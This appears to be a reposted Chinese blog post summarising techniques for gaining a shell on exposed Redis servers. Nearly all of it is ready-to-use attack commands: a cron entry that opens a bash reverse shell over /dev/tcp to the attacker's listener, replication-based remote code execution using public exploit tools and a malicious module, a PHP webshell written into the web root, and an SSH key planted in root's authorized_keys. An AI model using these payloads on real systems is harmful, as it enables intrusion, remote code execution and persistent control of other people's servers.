Redis getshell姿勢總結


一、crontab-計划任務

首先現在自己服務器上監聽個端口,例如我這里的8888

nc -lvvp 8888

然后redis上:

root@kali:~# redis-cli -h 192.168.63.130
	192.168.63.130:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/這里寫你的服務器IP/8888 0>&1\n"
	OK
	192.168.63.130:6379> config set dir /var/spool/cron/
	OK
	192.168.63.130:6379> config set dbfilename root
	OK
	192.168.63.130:6379> save

然后稍等一會兒,就反彈到shell了,PS:需要等那么一會兒,才會反彈回來,不然也可以先打,然后在監聽,因為畢竟計划任務需要一點時間。

二、利用主從復制RCE

漏洞存在於4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之后,通過外部拓展,可以實現在redis中實現一個新的Redis命令,構造惡意.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
git clone https://github.com/Ridter/redis-rce.git

python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so

so文件是通過RedisModules make生成的。

三、寫入webshell

CONFIG SET dir /path/www/html     # 修改備份目錄  
CONGIG SET dbfilename trojan.php  # 修改備份文件名為我們的shell名
SET trojan "<?php system($_GET['cmd']);?>"
BGSAVE  
DEL payload  
CONFIG SET dir /usr/local/redis  
CONGIG SET dbfilename dump.rdb 
#最好使用CONFIG GET 看看原來啥樣就回復成啥樣

四、寫ssh-keygen公鑰然后使用私鑰登錄

如果Redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。
利用條件:
a.Redis服務使用ROOT賬號啟動
b.服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器
先在本地生成一對密鑰

ssh-key -t rsa#然后按照next執行就行了

然后通過redis執行:

config set dir /root/.ssh
config set dbfilename authorized_keys
save


寫入

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt#這樣做的目的是前后用\n換行,避免和redis里其他緩存數據混合。
cat key.txt |redis-cli -h 192.168.0.114 -x set crack


最后在生成密鑰對的目錄下直接連接即可:

期間遇到了一個問題:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for '/root/.ssh/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/root/.ssh/id_rsa": bad permissions
root@123.56.83.206's password: 
Permission denied, please try again.
root@123.56.83.206's password:

服務器權限問題,服務設置一下/root/.ssh權限即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM